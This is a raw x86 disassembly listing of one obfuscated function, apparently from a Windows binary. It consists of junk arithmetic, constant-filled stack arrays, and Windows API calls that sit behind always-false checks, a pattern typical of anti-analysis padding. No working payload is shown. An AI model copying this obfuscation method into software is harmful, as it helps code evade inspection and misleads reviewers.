jne 0x10032641
mov eax, dword [ebp - 0x314]
mov eax, dword [ebp - 0x454]
mov eax, dword [ebp - 0x454]
mov eax, dword [ebp - 0x454]
mov eax, dword [ebp - 0x454]
mov eax, dword [ebp - 0x458]
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x1003268d
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032688
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10032675
mov dword [ebp - 0x1c], 0x7f37c04c
mov dword [ebp - 0x44], 0x3b91
mov dword [ebp - 0x44], 0x8d4081c2
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100326c9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1300], 0xe7937d8e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100326b1
xor eax, eax
push 4
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x100326e8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x13c0], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100326d4
xor eax, eax
inc dword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xf05f4326
mov dword [ebp - 0x10], 0xf6af1124
push 6
mov dword [ebp - 0x1c], 0x89226c31
pop ecx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0xfffffff3
jle 0x10032753
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003271c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
xor edx, edx
imul ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
push 0
cmp eax, ecx
setle dl
xor ecx, ecx
cmp edx, 0x91
setg cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setne al
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff3
pop eax
jg 0x1003270c
jmp 0x10032756
or edx, 0xffffffff
mov dword [ebp - 0x1c], 0xb8fa48a2
xor eax, eax
mov dword [ebp - 0x10], 0x622ba394
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10032785
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6c4], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10032771
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100327a5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb40], 0x7525d2d9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003278d
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jg 0x1003281a
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x100327c1
push 0x1c7d
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
mov eax, dword [ebp - 0x10]
mov ecx, 0x2337
push 0
mov eax, dword [ebp + eax*4 - 0x6c4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x6c4]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + eax*4 - 0x6c4]
mov eax, dword [ebp - 0x10]
sub ecx, eax
xor eax, eax
cmp edx, ecx
setle al
xor ecx, ecx
cmp eax, 0x63e31551
setne cl
xor eax, eax
cmp ecx, 0xfffffffc
setge al
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0xb40], eax
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], esi
jle 0x100327ad
push 2
pop ecx
mov dword [ebp - 0x1c], 0x11fb8eb5
mov dword [ebp - 0x34], 0xb999fb02
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], 0x2b7b
mov dword [ebp - 0x38], 0x531e
mov dword [ebp - 0x1c], 0x9606
mov dword [ebp - 0x44], 0x8f497c3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10032867
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x15c], 0x89a9b8fa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003284f
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10032887
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1fc], 0x707e294
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003286f
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x100328b6
mov eax, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1fc]
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x15c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x15c], ecx
mov ecx, esi
mov eax, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
sub ecx, eax
mov eax, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
neg ecx
cmp ecx, 0xffff
sbb ecx, ecx
xor edx, edx
inc ecx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1fc]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1f8]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x34]
add eax, 2
cmp eax, ecx
setne dl
add edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x34], 0xe81a7ecc
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x10032951
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
je 0x10032951
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003295a
mov eax, esi
cmp eax, dword [ebp - 0x34]
jle 0x100329a1
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10032981
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf1c], 0x6ddcd166
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10032969
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10032997
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xf1c], 0xbdbdf7cd
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10032986
jmp 0x10032a98
or eax, 0xffffffff
mov dword [ebp - 0x28], 0xd8ff8cd3
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100329d0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfc4], 0x94486cae
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100329b8
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100329f2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb54], 0xfffffffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100329d9
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032a09
push 0xeaf
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jne 0x10032a98
jmp 0x10032a19
xor eax, eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
setge bl
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp ebx, ecx
setle dl
sub edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, esi
setge al
xor ecx, ecx
cmp eax, 0xf4c6
setne cl
xor eax, eax
mov dword [ebp - 0xfc4], ecx
test ecx, ecx
je 0x10032a7d
mov ecx, esi
cmp dword [ebp - 0x10], eax
jne 0x10032a7f
mov ecx, eax
mov eax, dword [ebp - 0x10]
sub eax, ecx
mov dword [ebp - 0xb50], eax
mov eax, dword [ebp - 0x10]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
je 0x10032a17
push 3
pop ebx
mov eax, dword [ebp - 0x34]
mov edx, 0xb14898d0
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xabff5ecc
mov dword [ebp - 0x10], 0x1c1ec2db
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0xc309ab83
mov dword [ebp - 0x44], 0x3ec3e1b8
push 8
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0x2c], ecx
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10032b11
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xda8], 0xa049fe38
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10032af9
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x10032b72
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x10], eax
je 0x10032b3d
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xda8]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0x2d517a85
mov eax, dword [ebp - 0x10]
push 0
mov ecx, dword [ebp + eax*4 - 0xda8]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
pop eax
setg dl
mov dword [ebp - 0x1c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x10032b19
dec dword [ebp - 0x2c]
mov dword [ebp - 0x1c], 0xb7f609b2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032b9c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x810], 0xb9b55bb2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032b84
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032bbc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x330], 0xe2236432
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032ba4
xor eax, eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 2
jg 0x10032c1e
mov eax, dword [ebp - 0x32c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x810]
mov eax, dword [ebp - 0x32c]
mov edx, dword [ebp + eax*4 - 0x810]
mov eax, dword [ebp - 0x80c]
sub edx, eax
mov eax, dword [ebp - 0x328]
cmp edx, eax
mov eax, dword [ebp - 0x810]
setl cl
xor edx, edx
cmp ecx, 0xfffffffb
setge dl
sub edx, eax
mov dword [ebp - 0x1c], edx
inc dword [ebp - 0x32c]
cmp dword [ebp - 0x32c], 2
jle 0x10032bcb
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10032c41
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10c0], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10032c29
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10032c63
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10b0], 0x26bdde0b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10032c4a
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032c83
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7f8], 0xbe8e56f9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032c6b
xor eax, eax
mov dword [ebp - 0x7f4], esi
cmp dword [ebp - 0x7f4], eax
jl 0x10032cea
mov dword [ebp - 0x14], 0x23ed15d
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032cab
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10032cdd
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032cda
push eax
push 0x12c3
push 0xbc8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x10032cb0
dec dword [ebp - 0x7f4]
jns 0x10032c91
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032d00
push eax
push 0x3df
push eax
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10032d12
mov eax, esi
mov dword [ebp - 0x1c], esi
xor ecx, ecx
cmp eax, 0x94ab
push 2
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, ecx
mov dword [ebp - 0x10b4], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x43d837bc
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x1c], 0xcf95751c
mov dword [ebp - 0x28], 0xc9df
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], 0xfffb
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10032dac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x600], 0x2bfbd3ae
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10032d94
xor eax, eax
or edx, 0xffffffff
mov dword [ebp - 0x600], edx
cmp dword [ebp - 0x38], eax
je 0x10032de8
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x28]
test eax, eax
jne 0x10032de2
cmp dword [ebp - 0x2c], eax
je 0x10032dcc
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x600]
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x3c]
jne 0x10032de2
cmp dword [ebp - 0x5fc], eax
je 0x10032de6
mov ecx, esi
jmp 0x10032dea
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x1c]
imul eax, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x4c]
neg edx
sbb edx, edx
xor eax, eax
inc edx
or ecx, 0xffffffff
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0x15], al
mov dword [ebp - 0x3c], 0x5d6c05ba
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], 0x65720b96
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x1c], 0xdd2e91c8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032e5b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1390], 0x6d21
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032e43
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032e77
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1324], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032e63
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032e9d
push 0x17e3
push eax
push 0xc2b
push 0x1a64
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x3c], 0x16
jmp 0x10032f5d
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x44], 0xcf415d72
mov dword [ebp - 0x44], 0x8108531d
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10032ee1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xae8], 0xde0b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10032ec9
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10032eff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11c0], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10032eea
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10032f55
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x44], 0xfffffffc
mov dword [ebp - 0x44], 0x7b844a75
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x44], 0x5a3d7f19
mov dword [ebp - 0x44], 5
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10032f4a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xaf4], 0x1dab551f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10032f32
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10032f5a
dec dword [ebp - 0x1c]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x10032f04
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xd
jne 0x10032ea9
cmp byte [ebp - 0x15], 0
push 0xfffffffffffffffa
pop edx
je 0x1003300e
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x38], 0xd2250db8
mov dword [ebp - 0x1c], 0x1c03809d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10032fa1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5dc], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10032f8d
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10032fb7
push 0x1c70
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, esi
push 0x24a3
setge cl
mov dword [ebp - 0x1c], ecx
mov ecx, 0xccb03629
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
cmp ecx, eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sbb esi, esi
xor edx, edx
neg esi
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
sub esi, edx
cmp esi, eax
setle cl
xor eax, eax
cmp ecx, 0x2b00
setne al
mov dword [ebp - 0x5dc], eax
xor eax, eax
push eax
call edi
xor esi, esi
inc esi
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x1003303f
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x234], esi
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x1003302a
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], esi
jge 0x1003305b
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1cc], esi
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x10033047
xor eax, eax
push 4
mov dword [ebp - 0x40], eax
pop ecx
jmp 0x10033070
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x10d8], esi
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x10033063
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], esi
jg 0x10033086
mov ecx, esi
cmp dword [ebp - 0x30], eax
jne 0x10033088
mov ecx, eax
xor eax, eax
cmp ecx, 0x4952
setge al
add eax, dword [ebp - 0x30]
jne 0x1003309b
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
neg ecx
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
sbb ecx, ecx
inc ecx
xor ebx, ebx
cmp ecx, eax
setl bl
xor edx, edx
add ebx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ebx, eax
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x3c]
jge 0x100331d0
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x100331d2
push 3
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x10033107
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf34], 0x843c6bcf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100330ef
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10033129
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb68], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10033110
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x30], eax
inc ebx
cmp dword [ebp - 0x30], ebx
jg 0x100331b8
mov dword [ebp - 0x28], 0x51814487
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x234]
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x234], ecx
mov eax, dword [ebp - 0x234]
add eax, dword [ebp - 0xf30]
sub eax, 0xfffffff7
neg eax
sbb eax, eax
inc eax
cmp edx, eax
sbb eax, eax
or ecx, 0xffffffff
neg eax
cmp eax, ecx
jge 0x1003317f
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10033181
mov eax, ebx
jmp 0x10033181
xor eax, eax
mov dword [ebp - 0xb68], eax
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
push 3
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
pop edx
setge cl
mov dword [ebp - 0x14], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10033138
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100332c0
push eax
push eax
push ebx
push eax
call esi
jmp 0x100332be
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], 0x6e219e4e
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jg 0x100332c0
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10033218
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe28], 0x8004c3d8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10033200
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10033228
push 0x2ee
call edi
mov ecx, dword [ebp - 0x1cc]
xor edx, edx
mov eax, dword [ebp - 0x30]
push 0
mov dword [ebp + eax*4 - 0x234], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x28], edx
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x234]
mov dword [ebp - 0x14], 0xfff7
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x234]
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
mov eax, dword [ebp - 0x1cc]
setle dl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xe20]
setle cl
add eax, ecx
mov ecx, dword [ebp - 0xe1c]
add ecx, eax
neg ecx
mov dword [ebp - 0x10d0], ecx
inc dword [ebp - 0x30]
pop eax
cmp dword [ebp - 0x30], ebx
jle 0x100331f5
xor eax, eax
or edx, 0xffffffff
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 0xd8169b41
mov dword [ebp - 0x28], 0x7b364fe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100332f7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x124], 0x48261f9c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100332df
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x100334b1
mov dword [ebp - 0x10], 0x37d45db3
mov dword [ebp - 0x1c], 0x11e9056f
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x100334a8
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0x15e4
mov dword [ebp - 0x1c], 0xe4f9f010
mov dword [ebp - 0x14], 0x23668f78
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xc46d767c
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x34]
je 0x10033380
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
cmp eax, ebx
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x10]
jle 0x1003340a
push 3
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100333b3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc94], 0x5e3164c1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100333a2
mov eax, dword [ebp - 0xc94]
xor edx, edx
cmp eax, 0x6dc7
mov eax, dword [ebp - 0xc90]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x124]
setge cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
add edx, 9
cmp edx, 0xf7f2
setg al
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
